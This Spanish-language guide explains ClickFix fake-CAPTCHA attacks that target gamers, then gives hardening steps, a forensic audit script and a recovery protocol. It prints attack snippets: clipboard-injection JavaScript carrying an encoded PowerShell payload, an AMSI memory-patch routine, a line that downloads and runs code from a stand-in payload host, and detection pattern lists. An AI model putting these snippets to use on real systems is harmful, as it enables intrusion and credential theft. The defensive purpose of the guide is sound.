Introducción: El auge de los ataques "ClickFix" en comunidades de videojuegos
En el ecosistema del videojuego en PC, los repositorios de mods, los foros de sombreadores (shaders), los sitios de descarga de parches no autorizados y los foros de asistencia técnica para solucionar cierres imprevistos son objetivos predilectos de los ciberdelincuentes. Durante años, la distribución de malware dirigido a jugadores se basaba en la descarga directa de archivos ejecutables (.exe o .zip) camuflados como herramientas de optimización, trucos o instaladores. Sin embargo, los navegadores modernos (Chrome, Edge, Firefox) y los sistemas operativos han consolidado defensas multicapa muy estrictas: análisis de reputación mediante SmartScreen, descargas aisladas en espacio seguro (sandbox) y diálogos explícitos de advertencia al usuario.
Para sortear de raíz estas defensas del navegador, los atacantes idearon una técnica de ingeniería social de alta evasión conocida como ClickFix (también denominada "falso CAPTCHA" o ejecución "del portapapeles a la consola"). En lugar de obligar al usuario a descargar un archivo ejecutable desde la web, ClickFix lo convence para que abra de forma proactiva el cuadro Ejecutar de Windows (Win + R) o PowerShell, y pegue manualmente una línea de comando ofuscada y dañina.
Dado que la orden se ejecuta localmente mediante herramientas administrativas legítimas del propio sistema operativo, el navegador no registra ningún evento de descarga, ningún archivo aterriza en el disco y los antivirus de escaneo estático quedan neutralizados. En esta guía se desglosa el ciclo de ataque de ClickFix, los mecanismos en memoria para anular AMSI y el protocolo sistemático de detección y respuesta para jugadores.
Cadena de ataque ClickFix: Del cebo web a la ejecución en memoria
El ciclo de compromiso se estructura en una secuencia meticulosamente diseñada para aprovechar la urgencia del jugador por conseguir un archivo o reparar un error:
[1. La víctima accede a un portal de recursos infectado (ej.: "Parche FPS Black Myth Wukong", "Beta GTA6", "Mod DLSS 3.5")]
|
v
[2. Se superpone un falso diálogo de verificación: "Confirme que no es un robot" (Imitando Cloudflare o reCAPTCHA)]
|
v
[3. Evento en el DOM: El JavaScript invoca navigator.clipboard.writeText(...) copiando en silencio la carga maliciosa]
|
v
[4. Instrucciones engañosas: "Presione Win + R en el teclado, pulse Ctrl + V y presione Enter para validar su sesión"]
|
v
[5. El usuario ejecuta la orden en Windows Run: explorer.exe lanza powershell.exe / cmd.exe en segundo plano]
|
v
[6. Ejecución ofuscada: Parcheo en memoria de AMSI -> Descarga de carga útil secundaria (Infostealers Lumma / Stealc)]
|
v
[7. Exfiltración: Sustracción de cookies de Steam, tokens de Discord y credenciales, enviadas a un canal C2 o bot de Telegram]
Fase 1: Cebos orientados al videojuego (Envenenamiento SEO)
Los atacantes crean cientos de dominios desechables indexados para términos de búsqueda muy concurridos:
- "Black Myth Wukong dll solucion caida de fps"
- "Cyberpunk 2077 Phantom Liberty dlc unlocker"
- "Valorant bypass Vanguard anticheat 2026"
- "Roblox executor descarga directa"
- "Portal para reclamar Discord Nitro gratis"
Fase 2: El falso diálogo de verificación
Al hacer clic en descargar, el navegador no transfiere ningún archivo. En su lugar, aparece una ventana modal visualmente idéntica a Cloudflare Turnstile, hCaptcha o Google reCAPTCHA:
- Texto de cabecera: "Verificación de Cloudflare: Confirme que no es un robot".
- Tras marcar la casilla, se simula un fallo de verificación y se muestra una guía de solución técnica:
- Presione la tecla Windows + R en su teclado.
- Presione Ctrl + V.
- Presione Enter.
- Otra variante simula un error de dependencias del sistema: "Falta el componente DirectX 12 Runtime. Pegue el siguiente comando en la consola para habilitar la descarga."
Fase 3: Secuestro silencioso del portapapeles
Mientras el usuario lee las instrucciones, el código JavaScript de la página se ejecuta de inmediato:
// La página maliciosa aprovecha el clic para escribir en el portapapeles
const payload = "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Enc JABjAGwAaQBlAG4AdAAg... ";
navigator.clipboard.writeText(payload);
En los navegadores modernos basados en Chromium, cuando navigator.clipboard.writeText() se invoca dentro de un evento de interacción directa (el clic en el botón falso de verificación), la API concede la escritura sin solicitar confirmación al usuario. El jugador cree haber interactuado con una simple casilla, cuando en realidad su portapapeles aloja una orden armada.
Desglose técnico: El comportamiento de la carga maliciosa en PowerShell
Cuando la víctima presiona Win + R, pega el contenido y pulsa Enter, el proceso generado a través de explorer.exe atraviesa cuatro etapas operativas:
1. Ocultación de ventana y elusión de políticas de ejecución
El comando inicial contiene modificadores diseñados para operar de forma invisible:
# Estructura del comando inicial de ClickFix
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "..."
-ExecutionPolicy Bypass: Evita advertencias de Windows sobre ejecución de scripts no firmados (recordatorio: la directiva de ejecución no es una barrera de seguridad infranqueable y solo regula archivos.ps1, no sentencias en línea vía-Command).-WindowStyle Hidden: Minimiza y oculta la ventana de terminal en cuestión de milisegundos, simulando un proceso transparente que no despierta sospechas.
2. Parcheo en memoria de AMSI (Antimalware Scan Interface)
Antes de invocar binarios maliciosos externos, el script debe neutralizar el sistema AMSI integrado en Windows Defender, el cual analiza scripts en memoria antes de permitir su ejecución.
Los atacantes aplican un parche en caliente sobre amsi.dll:
- Localizan la dirección de memoria de la función exportada
AmsiScanBufferen la libreríaamsi.dll. - Mediante la API de Windows (
VirtualProtect), modifican los permisos de dicha página de memoria a lectura, escritura y ejecución (PAGE_EXECUTE_READWRITE). - Sobrescriben los primeros bytes de la función con un código de retorno directo en ensamblador:
mov eax, 0x80070057 ; Código de error E_INVALIDARG ret - Al forzar que
AmsiScanBufferdevuelva un fallo o dictamen limpio inmediato (AMSI_RESULT_CLEAN), el motor de Windows Defender queda incapacitado para evaluar las instrucciones subsiguientes de esa instancia de PowerShell.
3. Descarga en memoria sin archivos en disco (Fileless)
Con AMSI neutralizado, PowerShell obtiene la carga principal a través de funciones de red:
# Descarga y ejecución reflectiva en memoria
$data = (New-Object Net.WebClient).DownloadData('https://cdn-static-payload.example/games/loader.bin');
[System.Reflection.Assembly]::Load($data).EntryPoint.Invoke($null, $null);
Mediante el mecanismo de reflexión de .NET [System.Reflection.Assembly]::Load o técnicas de vaciado de procesos (Process Hollowing) sobre procesos legítimos (MSBuild.exe, svchost.exe), la carga se ejecuta directamente en la memoria RAM, sin escribir ejecutables maliciosos en el disco duro.
4. Sustracción selectiva de activos de juego
La carga final (típicamente troyanos ladrones como Lumma, Stealc o Vidar) extrae sistemáticamente información sensible del usuario:
- Cookies de sesión web: Copia los identificadores
steamLoginSecureysessioniddesde navegadores Chromium y Firefox. - Tokens de Discord: Inspecciona
%APPDATA%\discord\Local Storage\leveldbpara recopilar tokens de sesión válidos. - Lanzadores de juegos: Sustrae credenciales de Epic Games, Battle.net, Riot Client y EA Desktop.
- Billeteras y artículos virtuales: Rastrea extensiones de monederos Web3 e inventarios valiosos de Steam para intercambio.
- Exfiltración de datos: Comprime los registros en un archivo cifrado y los transmite mediante peticiones HTTPS a la API de un bot de Telegram o servidores de comando y control (C2).
Matriz de amenazas ClickFix: Señuelos y evidencias forenses
| Tipo de señuelo | Argumento de engaño | Vía de ejecución | Artefacto técnico clave | Huella forense en el sistema |
|---|---|---|---|---|
| Falso Turnstile CAPTCHA | "Complete la verificación humana para habilitar la descarga" | Win + R -> powershell.exe -w hidden -enc | Parche de memoria en AmsiScanBuffer + IEX | Evento 4104 (ScriptBlock Logging); cadena Base64 en ConsoleHost_history.txt |
| Reparador de DirectX / C++ | "Falta d3dx9_43.dll; pegue el script en la consola para reparar" | Consola PowerShell como Administrador | mshta.exe http://.../fix.hta o código nativo | Registro de Sysmon para mshta.exe; tráfico de red saliente hacia IPs desconocidas |
| Acceso a beta en Discord | "Introduzca su clave exclusiva de invitación en la terminal" | cmd.exe /c start /b powershell ... | Script con envío a Webhook de Discord | Conexiones HTTPS POST con archivos adjuntos hacia discord.com/api/webhooks/... |
| Extractor de sombreadores | "Ejecute esta instrucción para descomprimir cachés Vulkan" | Consola PowerShell estándar | Despliegue de biblioteca DLL en %TEMP% | Nuevas claves de inicio automático en HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
Ingeniería de defensa: Fortalecimiento del sistema contra ClickFix
Los jugadores y administradores pueden proteger sus equipos implementando las siguientes directivas preventivas:
1. Activar el registro detallado de bloques de script (Evento 4104)
Por omisión, Windows no registra la totalidad del código interactivo en PowerShell. Habilitar el registro profundo permite documentar el código real tras su desofuscación en memoria:
- Abra el editor de directivas ejecutando
gpedit.msc. - Vaya a:
Configuración del equipo->Plantillas administrativas->Componentes de Windows->Windows PowerShell. - Active la directiva Activar el registro de bloques de script de PowerShell.
2. Aplicar el Modo de Lenguaje Restringido (CLM) en PowerShell
El modo de lenguaje restringido (Constrained Language Mode) bloquea la invocación de llamadas reflectivas de .NET ([System.Reflection.Assembly]) y la manipulación de memoria con APIs del sistema, inutilizando el 99% de los cargadores de malware:
- Agregue en las variables de entorno del sistema la variable
__PSLockdownPolicycon el valor4.
3. Restringir mshta.exe y motores de script mediante WDAC
Para impedir que los atacantes utilicen mshta.exe o wscript.exe como alternativa a PowerShell, se recomienda restringir o auditar su uso mediante las políticas de Control de aplicaciones de Windows Defender (WDAC).
Script forense en PowerShell: Detección y auditoría de infecciones
Si sospecha haber pegado una orden engañosa en su equipo, desconecte de inmediato la conexión a Internet y ejecute este script de diagnóstico en PowerShell:
# Script de auditoría forense para amenazas ClickFix
Write-Host "=== Auditoría Forense de Infección ClickFix ===" -ForegroundColor Cyan
# 1. Inspección del historial de consola de PowerShell
$historyPath = "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
if (Test-Path $historyPath) {
Write-Host "`n[1] Analizando historial reciente de comandos en PowerShell..." -ForegroundColor Yellow
$suspiciousPatterns = @("DownloadString", "DownloadData", "AmsiScanBuffer", "-enc", "-EncodedCommand", "mshta", "hidden", "bypass")
$historyLines = Get-Content -Path $historyPath -Tail 50
foreach ($line in $historyLines) {
foreach ($pattern in $suspiciousPatterns) {
if ($line -match $pattern) {
Write-Host " [ALERTA: Comando sospechoso detectado]: $line" -ForegroundColor Red
break
}
}
}
}
# 2. Revisión del historial del cuadro Ejecutar de Windows (RunMRU)
Write-Host "`n[2] Comprobando entradas en el registro RunMRU de Windows..." -ForegroundColor Yellow
$runMruPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
if (Test-Path $runMruPath) {
$mruEntries = Get-ItemProperty -Path $runMruPath
$mruEntries.PSObject.Properties | Where-Object { $_.Name -match "^[a-z]$" } | ForEach-Object {
if ($_.Value -match "powershell|cmd|mshta|curl|bitsadmin") {
Write-Host " [PELIGRO: Orden sospechosa en cuadro Ejecutar]: $($_.Name) = $($_.Value)" -ForegroundColor Red
} else {
Write-Host " [Entrada estándar]: $($_.Name) = $($_.Value)" -ForegroundColor Gray
}
}
}
# 3. Auditoría de persistencia en el registro de inicio
Write-Host "`n[3] Verificando programas de inicio automático del usuario..." -ForegroundColor Yellow
$runKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path $runKey | Select-Object -Property * -ExcludeProperty PS* | Out-String | Write-Host -ForegroundColor Cyan
Protocolo de contención y recuperación tras un incidente
Si la auditoría evidencia que se ejecutó una instrucción maliciosa, proceda de acuerdo con el siguiente protocolo:
- Aislamiento físico de red: Desconecte el cable de red o apague el adaptador Wi-Fi de inmediato para cortar la exfiltración hacia los servidores de los atacantes.
- Revocación de sesiones activas desde un dispositivo seguro:
- Acceda a Steam desde un teléfono o un ordenador limpio: Vaya a Parámetros -> Seguridad -> Desautorizar todos los demás dispositivos, invalidando las cookies
steamLoginSecuresustraídas. - Cambie la contraseña de Discord: La modificación de la clave revoca inmediatamente todos los tokens de autenticación activos.
- Cierre todas las sesiones activas en Google, Epic Games y Microsoft, y actualice las contraseñas principales.
- Acceda a Steam desde un teléfono o un ordenador limpio: Vaya a Parámetros -> Seguridad -> Desautorizar todos los demás dispositivos, invalidando las cookies
- Revocación de la clave Steam Web API: Desde el equipo seguro, consulte
https://steamcommunity.com/dev/apikeyy revoque cualquier clave que haya sido configurada sin su consentimiento. - Escaneo antimalware fuera de línea: Ejecute un análisis con Microsoft Defender sin conexión o mediante un medio extraíble USB de arranque para limpiar posibles puertas traseras persistentes.
- Cultura de seguridad basada en conocimientos técnicos: Los servicios legítimos de verificación como Cloudflare o Google operan estrictamente dentro de la página web; ningún servicio legítimo exige pulsar
Win + Rni pegar comandos en la consola. Apoyarse en fuentes de conocimiento técnico estructuradas como 365Finds permite desmitificar estos engaños, comprender la superficie de ataque del sistema y blindar la biblioteca de juegos frente a vectores de ingeniería social avanzados.